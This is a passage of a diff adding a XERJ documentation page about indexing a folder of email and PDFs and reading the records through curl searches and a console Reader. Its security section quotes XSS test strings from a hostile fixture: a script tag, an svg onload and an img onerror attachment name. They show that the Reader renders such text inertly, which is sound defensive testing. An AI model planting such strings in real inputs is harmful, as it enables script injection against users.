class="active"><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ </div>+ <div class="group">+ <span class="label">COMPARISONS</span>+ <a href="/compare/"><span class="eyebrow">00</span>All Comparisons</a>+ <a href="/compare/xerj-vs-web-agent-search" class=""><span class="eyebrow">01</span>How do I let an agent search a folder on my laptop instead of crawling the web?</a>+ <a href="/compare/xerj-vs-ast-grep" class=""><span class="eyebrow">02</span>ast-grep vs a code index for an agent?</a>+ <a href="/compare/xerj-vs-ripgrep-for-code-agents" class=""><span class="eyebrow">03</span>Is ripgrep enough for a coding agent, or do I need a code index?</a>+ <a href="/compare/xerj-vs-ripgrep-all" class=""><span class="eyebrow">04</span>How do I grep PDFs and Word docs from the command line?</a>+ <a href="/compare/xerj-vs-docfetcher" class=""><span class="eyebrow">05</span>What's a free DocFetcher alternative that an agent can call?</a>+ <a href="/compare/xerj-vs-recoll" class=""><span class="eyebrow">06</span>What's the best local desktop search for a folder of PDFs and docs?</a>+ <a href="/compare/xerj-vs-houdahspot" class=""><span class="eyebrow">07</span>XERJ vs HoudahSpot — Spotlight GUI vs an agent index</a>+ <a href="/compare/xerj-vs-spotlight" class=""><span class="eyebrow">08</span>XERJ vs macOS Spotlight for folder content an agent can query</a>+ <a href="/compare/xerj-vs-localsynapse" class=""><span class="eyebrow">09</span>What's a local MCP search engine for Claude?</a>+ <a href="/compare/xerj-vs-elasticsearch-local" class=""><span class="eyebrow">10</span>Is there an Elasticsearch-compatible engine that isn't Elasticsearch?</a>+ <a href="/compare/xerj-vs-obsidian-omnisearch" class=""><span class="eyebrow">11</span>How do I search an Obsidian vault from outside Obsidian?</a>+ <a href="/compare/xerj-vs-khoj" class=""><span class="eyebrow">12</span>What's a simpler alternative to Khoj if I only need search and memory?</a>+ <a href="/compare/xerj-vs-typesense" class=""><span class="eyebrow">13</span>Do I need Typesense for an agent to search my docs?</a>+ <a href="/compare/xerj-vs-meilisearch" class=""><span class="eyebrow">14</span>What's a local alternative to Meilisearch that indexes a folder by itself?</a>+ <a href="/compare/xerj-vs-pagefind" class=""><span class="eyebrow">15</span>Pagefind vs indexing a local HTML dump for an agent?</a>+ <a href="/compare/xerj-vs-vector-database" class=""><span class="eyebrow">16</span>Should my agent call a search API or stand up Qdrant for persistent memory?</a>+ </div>+</nav>+<main class="docs-content">+ <div class="breadcrumb"><a href="/">HOME</a><span class="sep">·</span><a href="/answers/">ANSWERS</a><span class="sep">·</span>I INDEXED A FOLDER OF EMAIL AND PDFS. HOW DO I ACTUALLY READ WHAT IT FOUND?</div>+ <div class="kicker"><span>ANSWERS · FILES AND FORMATS</span></div>+ <h1>I indexed a folder of email and PDFs. How do I actually read what it found?</h1>+ <div class="source-note">AUTHOR · XERJ documentation team · REVIEWED BY · XERJ engineering team · PUBLISHED · 2026-09-18 · UPDATED · 2026-09-19</div>+ <p><strong>TL;DR</strong> — Run <code class="inline">xerj brain <folder></code>, then open the console it prints. The Corpus page lists what was indexed, and the Reader opens any record: an email with its headers, body and attachments, or one PDF page, beside the files it links to. The Reader shows extracted text only. It renders no email HTML and no PDF pages.</p>+ <div class="prompt-card">+ <span class="prompt-label">PASTE THIS TO YOUR AI AGENT — IT DOES THE REST</span>+ <code>Act as a coding agent. Read https://xerj.org/llms.txt, run `xerj brain ./casefile --no-open` on a folder of .eml and .pdf files, search the index it reports for a word from one email subject, then give the person the console link `/_xerj-console/#/reader?index=INDEX&id=ID` for the best hit instead of pasting the whole document into the chat.</code>+ <button type="button" class="prompt-copy" data-copy="Act as a coding agent. Read https://xerj.org/llms.txt, run `xerj brain ./casefile --no-open` on a folder of .eml and .pdf files, search the index it reports for a word from one email subject, then give the person the console link `/_xerj-console/#/reader?index=INDEX&id=ID` for the best hit instead of pasting the whole document into the chat.">COPY THE PROMPT</button>+ </div>+ <div class="prompt-card">+ <span class="prompt-label">RUN THIS XERJ COMMAND</span>+ <code>xerj brain ./casefile --no-open</code>+ <button type="button" class="prompt-copy" data-copy="xerj brain ./casefile --no-open">COPY COMMAND</button>+ <span class="hero-proof">Index the folder, detect the links between files, and print the console URL and the one-time passkey setup link.</span>+ </div>+ <div class="prompt-card">+ <span class="prompt-label">RUN THIS XERJ COMMAND</span>+ <code>curl -s -XPOST http://localhost:9200/ax-docs/_search -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' -d '{"query":{"bool":{"filter":[{"wildcard":{"email_subject":{"value":"*invoice*","case_insensitive":true}}}],"must_not":[{"exists":{"field":"attachment_name"}}]}},"_source":["email_subject","email_from","email_date","ax_file"],"size":5}'</code>+ <button type="button" class="prompt-copy" data-copy="curl -s -XPOST http://localhost:9200/ax-docs/_search -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' -d '{"query":{"bool":{"filter":[{"wildcard":{"email_subject":{"value":"*invoice*","case_insensitive":true}}}],"must_not":[{"exists":{"field":"attachment_name"}}]}},"_source":["email_subject","email_from","email_date","ax_file"],"size":5}'">COPY COMMAND</button>+ <span class="hero-proof">Find an email by a word in its subject; the _id of a hit is what the Reader link takes, and ax_file is what its attachments share.</span>+ </div>+ <div class="prompt-card">+ <span class="prompt-label">RUN THIS XERJ COMMAND</span>+ <code>curl -s -XPOST http://localhost:9200/ax-docs/_search -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' -d '{"query":{"bool":{"filter":[{"term":{"ax_file":"AX_FILE_OF_THE_EMAIL"}},{"exists":{"field":"attachment_name"}}]}},"_source":["attachment_name","page","ax_locator"],"size":50}'</code>+ <button type="button" class="prompt-copy" data-copy="curl -s -XPOST http://localhost:9200/ax-docs/_search -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' -d '{"query":{"bool":{"filter":[{"term":{"ax_file":"AX_FILE_OF_THE_EMAIL"}},{"exists":{"field":"attachment_name"}}]}},"_source":["attachment_name","page","ax_locator"],"size":50}'">COPY COMMAND</button>+ <span class="hero-proof">List the attachment records of one email: every record that came out of one .eml file shares its ax_file.</span>+ </div>+ <h2>Index the folder, then open the console</h2>+ <p><code class="inline">xerj brain <folder></code> starts a local node if none is running, indexes every readable file, detects the links between files, and prints a console URL. A first run also prints a one-time passkey setup link. The node it starts has auth on, and its admin key is in <code class="inline"><data-dir>/admin.key</code>.</p>+ <pre class="code"><code class="language-sh">xerj brain ./casefile --no-open+</code></pre>+ <p>In a recorded run, a folder of 10 files became 81 records in one dataset, <code class="inline">ax-docs</code>, and the brain <code class="inline">casefile</code> received 33 links. The folder held 6 <code class="inline">.eml</code> messages, two of them with a PDF attached, 2 more PDFs and 2 Markdown notes. The run is scripted in <code class="inline">docs/usecases/console-reader/</code> in the repository.</p>+ <h2>Corpus lists what was indexed</h2>+ <p>The console's landing page is Corpus. It reads the <code class="inline">autoindex-catalog</code> index and shows one card per dataset: record, file and byte counts, the formats, the date range, the fields with their types, and the sample queries the catalog entry carries. A sample query opens the Reader with the sample's text in the search box and already run, over the Reader's search fields and the field the sample was written for.</p>+ <p>A card describes the last <code class="inline">xerj brain</code> or <code class="inline">xerj autoindex</code> run over that dataset. The record count is the index total. The file count, the formats and the field types are that run's own, and the card labels them <code class="inline">last run</code>.</p>+ <p>An empty node shows one command, <code class="inline">xerj brain <folder></code>, and no sample data. If the catalog cannot be read, the page shows the error and nothing in its place.</p>+ <h2>The Reader opens one record</h2>+ <p>The route is <code class="inline">/_xerj-console/#/reader?index=<index>&id=<id></code>. Every hit in the console's Discover page links there, and an agent can hand a person that link instead of pasting a document into a chat. Find the id with an ordinary search:</p>+ <pre class="code"><code class="language-sh">curl -s -XPOST 'http://localhost:9200/ax-docs/_search' \+ -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' \+ -d '{"query":{"bool":{"filter":[{"wildcard":{"email_subject":{"value":"*invoice*","case_insensitive":true}}}],"must_not":[{"exists":{"field":"attachment_name"}}]}},"_source":["email_subject","email_from","email_date","ax_file"],"size":5}'+</code></pre>+ <p>The query is a <code class="inline">wildcard</code> and not a <code class="inline">match</code> for a reason. <code class="inline">xerj autoindex</code> usually types <code class="inline">email_subject</code> as <code class="inline">keyword</code>, because every attachment page record copies its email's subject and the field then holds few distinct values. On a <code class="inline">keyword</code> field a <code class="inline">match</code> finds only the whole subject. In a recorded check, <code class="inline">match</code> on <code class="inline">email_subject</code> for <code class="inline">Lunch</code> returned 0 hits while the subject <code class="inline">Lunch on Friday?</code> was indexed, and the <code class="inline">wildcard</code> for <code class="inline">*lunch*</code> returned 1. The <code class="inline">must_not</code> keeps the attachment records out, because each one carries a copy of the subject. The Reader's own search box does the same.</p>+ <p>The Reader renders a record by its shape:</p>+ <table>+ <thead><tr><th>Record</th><th>What the Reader shows</th></tr></thead>+ <tbody>+ <tr><td>email</td><td>From, To, Cc, Date and Message-ID, the body text, and the attachment list</td></tr>+ <tr><td>attachment</td><td>name, type and size, the extracted text of that page, and a link back to the email</td></tr>+ <tr><td>PDF page</td><td>the title, the page number, and that page's text</td></tr>+ <tr><td>file</td><td>the path and format, and every record that came out of that file</td></tr>+ </tbody>+ </table>+ <h2>How one email is stored</h2>+ <p><code class="inline">xerj autoindex</code> writes one record for the file, one for the message, and one for each page section of each attachment. All of them share <code class="inline">ax_file</code>, and the Reader joins an email to its attachments on it. The attachment records also copy <code class="inline">email_message_id</code>, stored without the angle brackets, but only when the message has a <code class="inline">Message-ID</code> header, and two files can carry the same id. The <code class="inline">ax_locator</code> field numbers the attachments: <code class="inline">att0-p3-s0</code> is page 3 of the first attachment. In the recorded run the shared index held 6 emails and 43 attachment records.</p>+ <pre class="code"><code class="language-sh">curl -s -XPOST 'http://localhost:9200/ax-docs/_search' \+ -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' \+ -d '{"query":{"bool":{"filter":[{"term":{"ax_file":"AX_FILE_OF_THE_EMAIL"}},{"exists":{"field":"attachment_name"}}]}},"_source":["attachment_name","page","ax_locator"],"size":50}'+</code></pre>+ <p>Replace <code class="inline">AX_FILE_OF_THE_EMAIL</code> with the <code class="inline">ax_file</code> value of the email hit. A long PDF becomes many records. If one email carries more than 50, raise <code class="inline">size</code> or add <code class="inline">from</code> to read the next 50.</p>+ <h2>The linked records come from the brain</h2>+ <p>Under the record, the Reader shows its one-hop neighbours from <code class="inline">GET /_graph/{brain}/ego</code>, grouped by link type. The same-folder, Markdown-link and path-citation detectors link file records, not the records inside a file. So the Reader also reads the links of the record's file and marks those <code class="inline">FILE</code>. In the recorded run the hostile email had 2 linked records, and both were same-folder links of its file.</p>+ <p>The detectors are structural. No detector reads meaning from the text.</p>+ <h2>It shows text on purpose</h2>+ <p>An email subject, an attachment name and a body are text that a stranger wrote. The Reader builds its page from text nodes and never from markup, renders no email HTML, and links no URL found in a document. The console page is served with a Content-Security-Policy that allows scripts and connections from its own origin only.</p>+ <p>The recorded run includes one hostile message: a <code class="inline"><script></code> in the subject, an <code class="inline"><svg onload></code> in the sender name, and a PDF attachment named <code class="inline">"><img src=x onerror=…>.pdf</code>. The Reader displayed all of it as text. No payload executed, and no request left the origin. A control page in the same test suite renders the same subject through <code class="inline">innerHTML</code> and does get compromised, which proves that the fixtures are live.</p>+ <h2>Two limits on a node with auth on</h2>+ <p>The linked-records panel is refused for a signed-in operator on a node with auth on, which is the default. The console holds a passkey session, and the graph API wants an API key. The panel says that it was refused. Search, records and attachments still work, and the panel works on a node started with <code class="inline">--insecure</code>.</p>+ <p>The console's passkey sign-in works only when the console is reached at <code class="inline">http://localhost:9200</code>. A node on another port refuses the enrolment. Both limits are tracked in the repository's issue tracker as #935 and #936.</p>+ <h2>Read-only guest mode</h2>+ <p>The console has a guest mode for share links. A share hands the console one record: a read-only API key, the shared index names, an optional brain, an expiry and a label. With that record the console starts a separate read-only shell that shows Corpus and the Reader for those indices under a banner with the expiry time.</p>+ <p>In the recorded run the guest key received <code class="inline">200</code> on its own index and on the brain, and <code class="inline">403</code> on another index, on <code class="inline">autoindex-catalog</code> and on a write. The console API answered it <code class="inline">401</code>, and the guest tab made 0 console API requests. The key is the boundary. The shell exists so that the page never asks for more.</p>+ <h2>FAQ</h2>+ <h3>I indexed a folder of email and PDFs. How do I actually read what it found?</h3>+ <p>Open the console the run printed. The Corpus page lists what was indexed, and the Reader opens any record by id: an email with its headers, body text and attachment list, or one page of a PDF.</p>+ <h3>Does the Reader show the original PDF or the HTML version of an email?</h3>+ <p>No. It shows the text the extractor indexed. XERJ stores extracted text, not attachment bytes, and the Reader never renders email HTML: an HTML body is displayed as its source.</p>+ <h3>How are an email and its attachments connected in the index?</h3>+ <p>Every record that came out of one .eml file carries the same ax_file, and that is what the Reader joins on. A PDF attachment becomes one record per page section, so the Reader lists each attachment once. The email_message_id field is also copied to the attachments, but only when the message has a Message-ID header.</p>+ <h3>Why does the panel of linked records say the links belong to the file?</h3>+ <p>The same-folder, Markdown-link and path-citation detectors link file records, not the records inside a file. The Reader reads the links of the email's file as well and marks them FILE.</p>+ <h3>Is it safe to open a hostile email in the Reader?</h3>+ <p>The Reader builds the page from text nodes, never from markup, and links no URL found in a document. In the recorded run a script-bearing subject and attachment name were displayed as text and nothing executed. That is a tested design, not a guarantee against every browser bug.</p>+ <h3>Why does the linked-records panel say the graph API refused my session?</h3>+ <p>On a node with auth on, which is the default, the console holds a passkey session and the graph API wants an API key. Search, records and attachments still work. The panel works on a node started with --insecure.</p>+ <h3>Can I let someone else read one index without giving them my node?</h3>+ <p>The console has a read-only guest mode driven by a share record that names one key, the shared indices, an optional brain and an expiry. It can only search and read those indices, and it logs out on expiry.</p>+ <h2>Evidence</h2>+ <ul>+ <li>In the recorded run xerj brain turned 10 files into 81 records in one dataset, ax-docs, and wrote 33 links into the brain casefile. — <code>docs/usecases/console-reader/live-e2e.json</code></li>+ <li>The shared index held 6 emails and 43 attachment records; the guest key got 200 on its own index and on the brain, 403 on another index, on autoindex-catalog and on a write, and 401 from the console API; the guest tab made 0 console API requests. — <code>docs/usecases/console-reader/live-e2e.json</code></li>+ <li>The graph panel of the hostile email showed 2 linked records, both same_dir links of the file the email came from; the signed-in operator's graph panel was refused with HTTP 401 on the auth-enabled node. — <code>docs/usecases/console-reader/live-e2e.json</code></li>+ <li>On an index where autoindex typed email_subject as keyword, match on email_subject for Lunch returned 0 hits with the subject Lunch on Friday? indexed, and the case-insensitive wildcard <em>lunch</em> returned 1. — <code>docs/usecases/console-reader/review-repro/review-repro.json</code></li>+ <li>The console page is served with a Content-Security-Policy whose script-src and connect-src are 'self'. — <code>engine/crates/xerj-console-api/src/spa.rs</code></li>+ <li>A guest session can build only _search, _count, _mapping and ego requests, and fails closed on a malformed or expired record. — <code>xerj-ux/src/data/guest.js</code></li>+ </ul>+ <h2>Related</h2>+ <ul>+ <li><a href="/answers/search-all-pdfs-in-a-folder">I downloaded a bunch of papers as PDFs. How do I search across them?</a></li>+ <li><a href="/answers/search-obsidian-pdf-docx-attachments">What's the best way to search markdown notes and PDFs in the same vault?</a></li>+ <li><a href="/answers/how-xerj-autoindexes-a-folder">I want to point something at a folder and then ask questions about what's in it. What should I use?</a></li>+ <li><a href="/answers/knowledge-graphs-for-agent-memory">Should agent memory use a knowledge graph?</a></li>+ <li><a href="/docs/security">Auth & TLS</a></li>+ </ul>+</main>+</div>+<!-- seo:footer-begin — generated by scripts/seo/fix_links.py · do not hand-edit -->+<nav class="footer-map" aria-label="Site map">+ <div class="fm-col">+ <span class="fm-h">PRODUCT</span>+ <a href="/product">PRODUCT</a>+ <a href="/architecture/">ARCHITECTURE</a>+ <a href="/benchmarks/">BENCHMARKS</a>+ <a href="/pricing/">PRICING</a>+ <a href="/security/">SECURITY</a>+ <a href="/playground">DASHBOARDS</a>+ <a href="/demo/">REAL-DATA DEMO</a>+ <a href="/aise-demo">PRODUCT TOUR</a>+ </div>+ <div class="fm-col">+ <span class="fm-h">SOLUTIONS</span>+ <a href="/solutions/">SOLUTIONS</a>+ <a href="/use-cases">USE CASES</a>+ <a href="/case-studies">CASE STUDIES</a>+ <a href="/industries/">INDUSTRIES</a>+ <a href="/industries/finserv">FINANCIAL SERVICES</a>+ <a href="/industries/public-sector">PUBLIC SECTOR</a>+ <a href="/industries/healthcare">HEALTHCARE</a>+ <a href="/industries/retail">RETAIL</a>+ <a href="/use-cases/code-security-audit">AI CODE-SECURITY AUDIT</a>+ <a href="/use-cases/semantic-analytics">SEMANTIC ANALYTICS</a>+ </div>+ <div class="fm-col">+ <span class="fm-h">DOCS</span>+ <a href="/docs/">DOCUMENTATION</a>+ <a href="/docs/quickstart">QUICKSTART</a>+ <a href="/docs/install">INSTALL</a>+ <a href="/docs/migration-from-es">MIGRATE FROM ELASTICSEARCH</a>+ <a href="/docs/recipes/">RECIPES</a>+ <a href="/docs/agents/">DOCS FOR AI</a>+ <a href="/for-agents">FOR AI AGENTS</a>+ <a href="/agent-search/">AGENTIC SEARCH DEMO</a>+ <a href="/answers/">ANSWERS</a>+ <a href="/compare/">COMPARISONS</a>+ </div>+ <div class="fm-col">+ <span class="fm-h">RESOURCES</span>+ <a href="/resources/">SALES KIT</a>+ <a href="/brand">BRAND</a>+ <a href="/brandbook/">BRAND BOOK</a>+ <a href="/llms.txt">LLMS.TXT</a>+ <a href="https://github.com/xerj-org/xerj" rel="external">GITHUB</a>+ </div>+</nav>+<!-- seo:footer-end -->+<footer class="footer">+ <span>XERJ.AI · ANSWERS</span>+ <span>READ THE SOURCE</span>+ <span><a href="/">HOME</a> · <a href="/product">PRODUCT</a> · <a href="/brand">BRAND</a> · <a href="/playground">DASHBOARDS</a> · <a href="/llms.txt">LLMS.TXT</a></span>+</footer>+<script src="/interact.js"></script>+</body>+</html>diff --git a/landing/answers/read-indexed-email-and-pdf-folder.md b/landing/answers/read-indexed-email-and-pdf-folder.mdnew file mode 100644index 000000000..f57823ff1--- /dev/null+++ b/landing/answers/read-indexed-email-and-pdf-folder.md@@ -0,0 +1,165 @@+<!-- generated by build_articles.py — edit content/answers/read-indexed-email-and-pdf-folder.md instead -->+---+title: "How do I read email and PDFs after indexing a folder?"+canonical: "https://xerj.org/answers/read-indexed-email-and-pdf-folder"+updated: "2026-09-19"+source: "content/answers/read-indexed-email-and-pdf-folder.md"+---++# I indexed a folder of email and PDFs. How do I actually read what it found?++**TL;DR** — Run `xerj brain <folder>`, then open the console it prints. The Corpus page lists what was indexed, and the Reader opens any record: an email with its headers, body and attachments, or one PDF page, beside the files it links to. The Reader shows extracted text only. It renders no email HTML and no PDF pages.++## Agent prompt++```text+Act as a coding agent. Read https://xerj.org/llms.txt, run `xerj brain ./casefile --no-open` on a folder of .eml and .pdf files, search the index it reports for a word from one email subject, then give the person the console link `/_xerj-console/#/reader?index=INDEX&id=ID` for the best hit instead of pasting the whole document into the chat.+```++## Commands++### Command 1++Note: Index the folder, detect the links between files, and print the console URL and the one-time passkey setup link.++```sh+xerj brain ./casefile --no-open+```++### Command 2++Note: Find an email by a word in its subject; the _id of a hit is what the Reader link takes, and ax_file is what its attachments share.++```sh+curl -s -XPOST http://localhost:9200/ax-docs/_search -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' -d '{"query":{"bool":{"filter":[{"wildcard":{"email_subject":{"value":"*invoice*","case_insensitive":true}}}],"must_not":[{"exists":{"field":"attachment_name"}}]}},"_source":["email_subject","email_from","email_date","ax_file"],"size":5}'+```++### Command 3++Note: List the attachment records of one email: every record that came out of one .eml file shares its ax_file.++```sh+curl -s -XPOST http://localhost:9200/ax-docs/_search -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' -d '{"query":{"bool":{"filter":[{"term":{"ax_file":"AX_FILE_OF_THE_EMAIL"}},{"exists":{"field":"attachment_name"}}]}},"_source":["attachment_name","page","ax_locator"],"size":50}'+```++## Index the folder, then open the console++`xerj brain <folder>` starts a local node if none is running, indexes every readable file, detects the links between files, and prints a console URL. A first run also prints a one-time passkey setup link. The node it starts has auth on, and its admin key is in `<data-dir>/admin.key`.++```sh+xerj brain ./casefile --no-open+```++In a recorded run, a folder of 10 files became 81 records in one dataset, `ax-docs`, and the brain `casefile` received 33 links. The folder held 6 `.eml` messages, two of them with a PDF attached, 2 more PDFs and 2 Markdown notes. The run is scripted in `docs/usecases/console-reader/` in the repository.++## Corpus lists what was indexed++The console's landing page is Corpus. It reads the `autoindex-catalog` index and shows one card per dataset: record, file and byte counts, the formats, the date range, the fields with their types, and the sample queries the catalog entry carries. A sample query opens the Reader with the sample's text in the search box and already run, over the Reader's search fields and the field the sample was written for.++A card describes the last `xerj brain` or `xerj autoindex` run over that dataset. The record count is the index total. The file count, the formats and the field types are that run's own, and the card labels them `last run`.++An empty node shows one command, `xerj brain <folder>`, and no sample data. If the catalog cannot be read, the page shows the error and nothing in its place.++## The Reader opens one record++The route is `/_xerj-console/#/reader?index=<index>&id=<id>`. Every hit in the console's Discover page links there, and an agent can hand a person that link instead of pasting a document into a chat. Find the id with an ordinary search:++```sh+curl -s -XPOST 'http://localhost:9200/ax-docs/_search' \+ -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' \+ -d '{"query":{"bool":{"filter":[{"wildcard":{"email_subject":{"value":"*invoice*","case_insensitive":true}}}],"must_not":[{"exists":{"field":"attachment_name"}}]}},"_source":["email_subject","email_from","email_date","ax_file"],"size":5}'+```++The query is a `wildcard` and not a `match` for a reason. `xerj autoindex` usually types `email_subject` as `keyword`, because every attachment page record copies its email's subject and the field then holds few distinct values. On a `keyword` field a `match` finds only the whole subject. In a recorded check, `match` on `email_subject` for `Lunch` returned 0 hits while the subject `Lunch on Friday?` was indexed, and the `wildcard` for `*lunch*` returned 1. The `must_not` keeps the attachment records out, because each one carries a copy of the subject. The Reader's own search box does the same.++The Reader renders a record by its shape:++| Record | What the Reader shows |+|---|---|+| email | From, To, Cc, Date and Message-ID, the body text, and the attachment list |+| attachment | name, type and size, the extracted text of that page, and a link back to the email |+| PDF page | the title, the page number, and that page's text |+| file | the path and format, and every record that came out of that file |++## How one email is stored++`xerj autoindex` writes one record for the file, one for the message, and one for each page section of each attachment. All of them share `ax_file`, and the Reader joins an email to its attachments on it. The attachment records also copy `email_message_id`, stored without the angle brackets, but only when the message has a `Message-ID` header, and two files can carry the same id. The `ax_locator` field numbers the attachments: `att0-p3-s0` is page 3 of the first attachment. In the recorded run the shared index held 6 emails and 43 attachment records.++```sh+curl -s -XPOST 'http://localhost:9200/ax-docs/_search' \+ -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' \+ -d '{"query":{"bool":{"filter":[{"term":{"ax_file":"AX_FILE_OF_THE_EMAIL"}},{"exists":{"field":"attachment_name"}}]}},"_source":["attachment_name","page","ax_locator"],"size":50}'+```++Replace `AX_FILE_OF_THE_EMAIL` with the `ax_file` value of the email hit. A long PDF becomes many records. If one email carries more than 50, raise `size` or add `from` to read the next 50.++## The linked records come from the brain++Under the record, the Reader shows its one-hop neighbours from `GET /_graph/{brain}/ego`, grouped by link type. The same-folder, Markdown-link and path-citation detectors link file records, not the records inside a file. So the Reader also reads the links of the record's file and marks those `FILE`. In the recorded run the hostile email had 2 linked records, and both were same-folder links of its file.++The detectors are structural. No detector reads meaning from the text.++## It shows text on purpose++An email subject, an attachment name and a body are text that a stranger wrote. The Reader builds its page from text nodes and never from markup, renders no email HTML, and links no URL found in a document. The console page is served with a Content-Security-Policy that allows scripts and connections from its own origin only.++The recorded run includes one hostile message: a `<script>` in the subject, an `<svg onload>` in the sender name, and a PDF attachment named `"><img src=x onerror=…>.pdf`. The Reader displayed all of it as text. No payload executed, and no request left the origin. A control page in the same test suite renders the same subject through `innerHTML` and does get compromised, which proves that the fixtures are live.++## Two limits on a node with auth on++The linked-records panel is refused for a signed-in operator on a node with auth on, which is the default. The console holds a passkey session, and the graph API wants an API key. The panel says that it was refused. Search, records and attachments still work, and the panel works on a node started with `--insecure`.++The console's passkey sign-in works only when the console is reached at `http://localhost:9200`. A node on another port refuses the enrolment. Both limits are tracked in the repository's issue tracker as #935 and #936.++## Read-only guest mode++The console has a guest mode for share links. A share hands the console one record: a read-only API key, the shared index names, an optional brain, an expiry and a label. With that record the console starts a separate read-only shell that shows Corpus and the Reader for those indices under a banner with the expiry time.++In the recorded run the guest key received `200` on its own index and on the brain, and `403` on another index, on `autoindex-catalog` and on a write. The console API answered it `401`, and the guest tab made 0 console API requests. The key is the boundary. The shell exists so that the page never asks for more.++## FAQ++### I indexed a folder of email and PDFs. How do I actually read what it found?++Open the console the run printed. The Corpus page lists what was indexed, and the Reader opens any record by id: an email with its headers, body text and attachment list, or one page of a PDF.++### Does the Reader show the original PDF or the HTML version of an email?++No. It shows the text the extractor indexed. XERJ stores extracted text, not attachment bytes, and the Reader never renders email HTML: an HTML body is displayed as its source.++### How are an email and its attachments connected in the index?++Every record that came out of one .eml file carries the same ax_file, and that is what the Reader joins on. A PDF attachment becomes one record per page section, so the Reader lists each 